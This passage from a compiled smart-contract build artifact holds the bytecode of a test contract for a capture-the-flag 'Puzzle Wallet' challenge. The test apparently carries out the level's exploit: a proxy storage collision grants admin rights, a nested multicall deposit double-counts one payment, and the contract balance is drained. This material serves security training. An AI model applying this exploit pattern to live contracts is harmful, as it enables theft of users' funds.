163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220faa3bb7a166ae679b9f86358bf5fe7e1aa0cee5fff27f4d5c12214d6f78b21ca64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;369:2163:143;420:32:154;259:12:155;369:2163:143;420:32:154;410:43;382:71;;369:2163:143;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001e4b565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001e8e565b620001b3620001fa36600462001f7a565b62000a32565b6200020a62000bfd565b604051620001c791906200204d565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062002110565b620001da62000257366004620021dd565b62000eea565b6200019a6200107a565b6200027162001508565b604051620001c79190620021f5565b620001b3620002913660046200225b565b620015dd565b62000237620016fc565b620002b8620002b236600462002279565b620017e1565b6040519015158152602001620001c7565b6200027162001971565b6200019a62001a46565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001adf565b620001da62001bb3565b6200019a6200032f366004620021dd565b62001c13565b601e54620002b89060ff1681565b5f62000350600262000eea565b9050805f81518110620003675762000367620022b5565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b5050505080600181518110620004495762000449620022b5565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620015dd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001dfb565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002356565b90508060018251620009899190620024e6565b815181106200099c576200099c620022b5565b60200260200101515f0151600281518110620009bc57620009bc620022b5565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620024fc565b90505f81848560405160200162000ad49291906200254e565b60408051601f198184030181529082905262000af49291602001620025fc565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b589085906004016200262e565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620024fc565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001c8790919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c929062002642565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc09062002642565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ed157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b0319168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f095762000f0962001edc565b60405190808252806020026020018201604052801562000f33578160200160208202803683370190505b5090505f5b8381101562001073575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f80573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fa691906200267c565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001024575f80fd5b505af115801562001037573d5f803e3d5ffd5b5050505080838381518110620010515762001051620022b5565b6001600160a01b03909216602092830291909101909101525060010162000f38565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010d1575f80fd5b505af1158015620010e4573d5f803e3d5ffd5b50506021546023546040517fa63767460000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529116925063a637674691506024015f604051808303815f87803b15801562001148575f80fd5b505af11580156200115b573d5f803e3d5ffd5b50506021546023546040517fe43252d70000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529116925063e43252d791506024015f604051808303815f87803b158015620011bf575f80fd5b505af1158015620011d2573d5f803e3d5ffd5b505f925060019150620011e29050565b6040519080825280602002602001820160405280156200121757816020015b6060815260200190600190039081620012015790505b506040805160048152602481019091526020810180516001600160e01b0316630d0e30db60e41b17905281519192509082905f906200125a576200125a620022b5565b6020908102919091010152604080516002808252606082019092525f91816020015b60608152602001906001900390816200127c579050506040805160048152602481019091526020810180516001600160e01b0316630d0e30db60e41b17905281519192509082905f90620012d457620012d4620022b5565b602002602001018190525063ac9650d860e01b82604051602401620012fa91906200269a565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b03838183161783525050505081600181518110620013435762001343620022b5565b60209081029190910101526021546040517fac9650d80000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063ac9650d89066038d7ea4c6800090620013a29085906004016200269a565b5f604051808303818588803b158015620013ba575f80fd5b505af1158015620013cd573d5f803e3d5ffd5b50506021546023546040517fb61d27f60000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015266071afd498d00006024820152606060448201525f60648201529116935063b61d27f6925060840190505f604051808303815f87803b1580156200144d575f80fd5b505af115801562001460573d5f803e3d5ffd5b50506021546023546040517f9d51d9b70000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291169250639d51d9b791506024015f604051808303815f87803b158015620014c4575f80fd5b505af1158015620014d7573d5f803e3d5ffd5b5050602054602154620015049350620014fe92506001600160a01b039182169116620017e1565b62001d29565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200154b9062002642565b80601f0160208091040260200160405190810160405280929190818152602001828054620015799062002642565b8015620015c85780601f106200159e57610100808354040283529160200191620015c8565b820191905f5260205f20905b815481529060010190602001808311620015aa57829003601f168201915b5050505050815260200190600101906200152b565b5f80604051620015ed9062001e09565b604051809103905ff08015801562001607573d5f803e3d5ffd5b5090505f604051620016199062001e17565b604051809103905ff08015801562001633573d5f803e3d5ffd5b508483604051620016449062001e25565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200167e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620016dd575f80fd5b505af1158015620016f0573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620017c857602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b03191681526020019060040190602082600301049283019260010382029150808411620017895790505b505050505081525050815260200190600101906200171f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200183d575f80fd5b505af115801562001850573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620018ae575f80fd5b505af1158015620018c1573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001925573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200194e919081019062002356565b9050600181511115620019665760019150506200196b565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620019b49062002642565b80601f0160208091040260200160405190810160405280929190818152602001828054620019e29062002642565b801562001a315780601f1062001a075761010080835404028352916020019162001a31565b820191905f5260205f20905b81548152906001019060200180831162001a1357829003601f168201915b50505050508152602001906001019062001994565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001a9d575f80fd5b505af115801562001ab0573d5f803e3d5ffd5b505060205460215462001add935062001ad792506001600160a01b039182169116620017e1565b62001da8565b565b6008545f9060ff161562001af7575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001b86573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001bac9190620026f3565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001c2082436200270b565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001cde908690869060040162002721565b5f60405180830381865afa15801562001cf9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001d22919081019062002752565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001d8e575f80fd5b505afa15801562001da1573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001d77565b6118d0806200278983390190565b610ae5806200405983390190565b611e7a8062004b3e83390190565b610daa80620069b883390190565b6001600160a01b038116811462001e48575f80fd5b50565b5f805f6060848603121562001e5e575f80fd5b833562001e6b8162001e33565b9250602084013562001e7d8162001e33565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001ed05783516001600160a01b03168352928401929184019160010162001ea9565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001f165762001f1662001edc565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001f485762001f4862001edc565b604052919050565b5f67ffffffffffffffff82111562001f6c5762001f6c62001edc565b50601f01601f191660200190565b5f6020828403121562001f8b575f80fd5b813567ffffffffffffffff81111562001fa2575f80fd5b8201601f8101841362001fb3575f80fd5b803562001fca62001fc48262001f50565b62001f1c565b81815285602083850101111562001fdf575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200201857818101518382015260200162001ffe565b50505f910152565b5f81518084526200203981602086016020860162001ffc565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200210157603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b81811015620020ea57605f19888503018352620020d784865162002020565b948d01949350918c0191600101620020b8565b505050968901969350509087019060010162002072565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620021cf57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620021b95783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062002175565b5096890196945050509086019060010162002137565b509098975050505050505050565b5f60208284031215620021ee575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200224e57603f198886030184526200223b85835162002020565b945092850192908501906001016200221c565b5092979650505050505050565b5f602082840312156200226c575f80fd5b813562001d228162001e33565b5f80604083850312156200228b575f80fd5b8235620022988162001e33565b91506020830135620022aa8162001e33565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620022e557620022e562001edc565b5060051b60200190565b5f620022ff62001fc48462001f50565b905082815283838301111562002313575f80fd5b62001d2283602083018462001ffc565b5f82601f83011262002333575f80fd5b62001d2283835160208501620022ef565b8051620023518162001e33565b919050565b5f602080838503121562002368575f80fd5b825167ffffffffffffffff8082111562002380575f80fd5b818501915085601f83011262002394575f80fd5b8151620023a562001fc482620022c9565b81815260059190911b83018401908481019088831115620023c4575f80fd5b8585015b83811015620024c557805185811115620023e0575f80fd5b86016060818c03601f19011215620023f6575f80fd5b6200240062001ef0565b888201518781111562002411575f80fd5b8201603f81018d1362002422575f80fd5b898101516200243562001fc482620022c9565b81815260059190911b8201604001908b8101908f83111562002455575f80fd5b6040840193505b82841015620024775783518252928c0192908c01906200245c565b84525050506040820151878111156200248e575f80fd5b6200249e8d8b8386010162002323565b8a83015250620024b16060830162002344565b6040820152845250918601918601620023c8565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200196b576200196b620024d2565b5f602082840312156200250d575f80fd5b815167ffffffffffffffff81111562002524575f80fd5b8201601f8101841362002535575f80fd5b6200254684825160208401620022ef565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200258781600585016020880162001ffc565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620025c681600a84016020880162001ffc565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200260f81846020880162001ffc565b8351908301906200262581836020880162001ffc565b01949350505050565b602081525f62001d22602083018462002020565b600181811c908216806200265757607f821691505b6020821081036200267657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200268d575f80fd5b815162001d228162001e33565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200224e57603f19888603018452620026e085835162002020565b94509285019290850190600101620026c1565b5f6020828403121562002704575f80fd5b5051919050565b808201808211156200196b576200196b620024d2565b604081525f62002735604083018562002020565b828103602084015262002749818562002020565b95945050505050565b5f6020828403121562002763575f80fd5b815167ffffffffffffffff8111156200277a575f80fd5b62002546848285016200232356fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6118568061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610540565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610562565b610341565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610540565b6103c2565b610114610452565b61011d5f6104ab565b565b5f3466038d7ea4c68000146101a15760405162461bcd60e51b815260206004820152602660248201527f4d7573742073656e6420302e3030312045544820746f2063726561746520696e60448201527f7374616e6365000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5f6040516101ae90610512565b604051809103905ff0801580156101c7573d5f803e3d5ffd5b506040805168056bc75e2d6310000060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fb7b0422d000000000000000000000000000000000000000000000000000000001790529051919250905f9030908490849061024f9061051f565b61025b93929190610599565b604051809103905ff080158015610274573d5f803e3d5ffd5b506040517fe43252d700000000000000000000000000000000000000000000000000000000815230600482015290915081906001600160a01b0382169063e43252d7906024015f604051808303815f87803b1580156102d1575f80fd5b505af11580156102e3573d5f803e3d5ffd5b50505050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b158015610320575f80fd5b505af1158015610332573d5f803e3d5ffd5b50949998505050505050505050565b5f80839050826001600160a01b0316816001600160a01b031663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa15801561038c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103b09190610602565b6001600160a01b031614949350505050565b6103ca610452565b6001600160a01b0381166104465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610198565b61044f816104ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610198565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a5f8061061e83390190565b6107a48061107d83390190565b6001600160a01b038116811461044f575f80fd5b5f60208284031215610550575f80fd5b813561055b8161052c565b9392505050565b5f8060408385031215610573575f80fd5b823561057e8161052c565b9150602083013561058e8161052c565b809150509250929050565b5f6001600160a01b0380861683526020818616602085015260606040850152845191508160608501525f5b828110156105e0578581018201518582016080015281016105c4565b50505f608082850101526080601f19601f830116840101915050949350505050565b5f60208284031215610612575f80fd5b815161055b8161052c56fe608060405234801561000f575f80fd5b50610a428061001d5f395ff3fe6080604052600436106100ad575f3560e01c8063b61d27f611610066578063d0e30db01161004c578063d0e30db0146101a0578063d936547e146101a8578063e43252d7146101e6575f80fd5b8063b61d27f61461016e578063b7b0422d14610181575f80fd5b80638da5cb5b116100965780638da5cb5b146101045780639d51d9b71461013a578063ac9650d81461015b575f80fd5b806327e235e3146100b157806373ad468a146100ef575b5f80fd5b3480156100bc575f80fd5b506100dc6100cb366004610839565b60036020525f908152604090205481565b6040519081526020015b60405180910390f35b3480156100fa575f80fd5b506100dc60015481565b34801561010f575f80fd5b505f54610122906001600160a01b031681565b6040516001600160a01b0390911681526020016100e6565b348015610145575f80fd5b50610159610154366004610859565b610205565b005b610159610169366004610870565b6102ad565b61015961017c3660046108df565b6104d7565b34801561018c575f80fd5b5061015961019b366004610859565b61065d565b6101596106db565b3480156101b3575f80fd5b506101d66101c2366004610839565b60026020525f908152604090205460ff1681565b60405190151581526020016100e6565b3480156101f1575f80fd5b50610159610200366004610839565b6107a2565b335f9081526002602052604090205460ff1661025a5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b60448201526064015b60405180910390fd5b47156102a85760405162461bcd60e51b815260206004820152601960248201527f436f6e74726163742062616c616e6365206973206e6f742030000000000000006044820152606401610251565b600155565b335f9081526002602052604090205460ff166102fd5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b5f805b828110156104d1575f84848381811061031b5761031b61095f565b905060200281019061032d9190610973565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050506020820151919250507f2f1cf250000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016104045783156103ff5760405162461bcd60e51b815260206004820152601f60248201527f4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365006044820152606401610251565b600193505b5f308787868181106104185761041861095f565b905060200281019061042a9190610973565b6040516104389291906109bd565b5f60405180830381855af49150503d805f8114610470576040519150601f19603f3d011682016040523d82523d5f602084013e610475565b606091505b50509050806104c65760405162461bcd60e51b815260206004820152601b60248201527f4572726f72207768696c652064656c65676174696e672063616c6c00000000006044820152606401610251565b505050600101610300565b50505050565b335f9081526002602052604090205460ff166105275760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b335f908152600360205260409020548311156105855760405162461bcd60e51b815260206004820152601460248201527f496e73756666696369656e742062616c616e63650000000000000000000000006044820152606401610251565b335f90815260036020526040812080548592906105a39084906109e0565b925050819055505f846001600160a01b03168484846040516105c69291906109bd565b5f6040518083038185875af1925050503d805f8114610600576040519150601f19603f3d011682016040523d82523d5f602084013e610605565b606091505b50509050806106565760405162461bcd60e51b815260206004820152601060248201527f457865637574696f6e206661696c6564000000000000000000000000000000006044820152606401610251565b5050505050565b600154156106ad5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610251565b6001555f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b335f9081526002602052604090205460ff1661072b5760405162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610251565b60015447111561077d5760405162461bcd60e51b815260206004820152601360248201527f4d61782062616c616e63652072656163686564000000000000